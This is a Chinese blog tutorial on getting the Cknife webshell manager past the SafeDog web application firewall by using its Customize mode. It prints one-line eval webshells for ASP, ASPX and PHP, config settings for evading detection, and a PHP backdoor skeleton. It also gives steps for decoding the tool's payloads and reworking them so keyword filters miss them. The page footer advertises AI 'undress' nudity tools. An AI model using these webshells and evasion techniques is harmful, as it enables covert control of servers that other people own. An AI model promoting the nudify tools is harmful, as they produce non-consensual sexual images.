打狗棒法之:Cknife(C刀)自定义模式秒过安全狗
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
相关阅读:
跨平台版中国菜刀Cknife发布
Cknife,跨平台版中国菜刀正式开源
0×00 前言
很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版,仅仅多了跨平台的功能,其实小伙伴们还没有用到精髓之处, 她其实也是一款过 WAF 的利器。 没有给大家讲解如何去使用它这是我的责任,我是一个有责任心的基佬,我会对大家负责的,于是有了下面的文章:
0×01 两种方法
Cknife有两种过WAF模式,一种为修改配置文件(Config.ini)过WAF,另外一种为 Customize( 自定义 ) 模式过 WAF 。 今天以自定义模式为例实例讲解秒过安全狗,当然文章发布过后各大WAF厂商肯定会将某些特征列入黑名单,这里只是抛砖引玉提供思路。
0×02 ReadMe.txt
很多朋友在使用软件的时候都很少会关注她,这里我附上它的有关于过 WAF 方面的一些内容,请大家 仔细阅读红色部分。
[此处省略1W字]
使用说明:
服务端脚本支持ASP、ASPX、PHP、JSP、Customize(自定义)。
代码包含且不限于如下代码(只要能构造出类似eval的函数就行,比如PHP的create_function、assert等)
ASP:
<%eval request("Cknife")%>
ASP.NET:
<%@ PageLanguage="Jscript"%><%eval(Request.Item["Cknife"],"unsafe");%>
PHP:
<?php @eval($_POST['Cknife']);?>
JSP:
[代码详见1.jsp]
Customize:
自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。
过WAF:
这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。
我分开了每一个步骤写入到配置文件里面,用户可以自定义任何代码,包括更改参数名称,参数内容。
比如:
SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbusSPL=->| 表示截取数据的开始符号SPR=|<- 表示截取数据的结束符号CODE=code 编码参数ACTION=action 动作参数PARAM1=z1 参数1PARAM2=z2 参数2PHP_BASE64=1 当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式PHP_INDEX=... 显示主页功能的代码放这儿PHP_READDICT=... 读取主页功能的代码放这儿PHP_READFILE=... 读取文件功能的代码放这儿PHP_DELETE=... 删除文件夹以及文件功能的代码放这儿PHP_RENAME=... 重命名文件夹以及文件功能的代码放这儿PHP_NEWDICT=... 新建目录功能的代码放这儿PHP_UPLOAD=... 上传文件功能的代码放这儿PHP_DOWNLOAD=... 下载文件功能的代码放这儿PHP_SHELL=... 虚拟终端功能的代码放这儿PHP_DB_MYSQL=... 管理MYSQL数据库功能的代码放这儿ASP_...=...ASPX_...=...JSP_...=...
除了修改以上参数过WAF外,程序还额外提供了一种Customize过WAF的模式。
Customize模式原本是用于支持一些程序默认不支持的脚本,比如CFM、ASMX、ASHX、PY等等,只要用户自写的脚本能正确与菜刀进行交互即可。
换一个思考方式,如果我们自写一个PHP脚本实现了列文件以及目录的功能,它能够正确的与C刀进行交互,这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。
应该选择Customize模式进行连接。有人说为什么一句话就可以连接,你偏偏还要写这么多代码用Customize模式连接?如果一个很厉害的WAF检测eval,assert等关键词
,你的一句话实在是饶不过,这个时候你可以不用一句话,就在PHP脚本里用正常代码实现列文件以及目录,然后用Customize模式连接就达到了过WAF的目的。
Customize(自定义)模式跟其他模式一样,每一个步骤也都写入到配置文件里面,用户同样可以参数名称以及参数内容。
比如你自写了用Customize模式连接的Customize.php服务端。
显示主页功能提交的参数应该是:密码=1&action=index以及密码=1&action=readdict。
如果C刀普及以后WAF厂商肯定会把readdict列入黑名单,这个时候你就可以修改readdict的名称为其他名称,同样可以修改action的名称,也可以修改1为其他字符
CUS_MAKE=1CUS_INDEX=indexCUS_READDICT=readdictCUS_READFILE=readfileCUS_SAVEFILE=savefileCUS_DELETE=deleteCUS_RENAME=renameCUS_NEWDICT=newdictCUS_UPLOAD=uploadCUS_DOWNLOAD=downloadCUS_SHELL=shell[此处省略1W字]
0×03 自定义模式过WAF原理
如果只是使用一句话,很多厂商都查杀了eval等敏感关键词,也查杀了传递过程中数据包中的敏感关键词。我们只需要正常的实现列目录、读文件等功能并且没有包含eval等敏感关键词就可以绕过WAF, 即服务端不使用一句话,而是把功能代码都放在服务端来执行,客户端提交正常的数据包。
0×04 过狗准备
有的朋友说还要自己写列目录、读文件等等这些功能啊,那肯定没戏了。其实不需要自己写,只需要复制粘贴修改即可。
你要有点编程基础(不用担心只要会 if 语句就行),然后按照我给的框架添加就行。以 PHP 为例:
框架如下:
$pwd= 'Cknife'; // 密码
if($_POST [$pwd] == 1) {
$act = $_POST ['action']; // action 名称
echo ("->|"); // 前分隔符
if ($act == 'index') { // 显示主页功能
} else if ($act == 'readdict') { // 读取目录功能
} else if ($act == …) // 你想要实现的功能,可以从 Config.ini 里面解密出来使用
{
}
echo ("|
}
?>
首先打开咋们可爱的Config.ini文件,找到PHP_INDEX
它是C刀文件管理显示主页的功能,我们先把它解密,先url解密再base64解密
把解密结果放到eclipse里面,自动整理下(右键Source->Format)
去掉 echo (“->|”) 前面的所有代码,去掉 echo (“|
然后就是找到PHP_READDICT解密, 这里要 注意 解密出来 z1 参数前面有 base64_decode 函数,我们的 自定义模式下传递方式是原文传递 ,不会自动 base64 加密, 所以要去掉 base64_decode 函数
还是老规矩,去掉 echo (“->|”) 前面的所有代码,去掉 echo (“|
最后按照前面的方式再加入读取文件的功能,即PHP_READFILE
把代码保存为test.php,然后选用自定义模式连接
测试发现并没有拦截
我们尝试下一句话连接,发现会被拦截

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

Long URLs, often cluttered with keywords and tracking parameters, can deter visitors. A URL shortening script offers a solution, creating concise links ideal for social media and other platforms. These scripts are valuable for individual websites a

Following its high-profile acquisition by Facebook in 2012, Instagram adopted two sets of APIs for third-party use. These are the Instagram Graph API and the Instagram Basic Display API.As a developer building an app that requires information from a

Laravel simplifies handling temporary session data using its intuitive flash methods. This is perfect for displaying brief messages, alerts, or notifications within your application. Data persists only for the subsequent request by default: $request-

This is the second and final part of the series on building a React application with a Laravel back-end. In the first part of the series, we created a RESTful API using Laravel for a basic product-listing application. In this tutorial, we will be dev

Laravel provides concise HTTP response simulation syntax, simplifying HTTP interaction testing. This approach significantly reduces code redundancy while making your test simulation more intuitive. The basic implementation provides a variety of response type shortcuts: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

The PHP Client URL (cURL) extension is a powerful tool for developers, enabling seamless interaction with remote servers and REST APIs. By leveraging libcurl, a well-respected multi-protocol file transfer library, PHP cURL facilitates efficient execution of various network protocols, including HTTP, HTTPS, and FTP. This extension offers granular control over HTTP requests, supports multiple concurrent operations, and provides built-in security features.

Do you want to provide real-time, instant solutions to your customers' most pressing problems? Live chat lets you have real-time conversations with customers and resolve their problems instantly. It allows you to provide faster service to your custom

The 2025 PHP Landscape Survey investigates current PHP development trends. It explores framework usage, deployment methods, and challenges, aiming to provide insights for developers and businesses. The survey anticipates growth in modern PHP versio
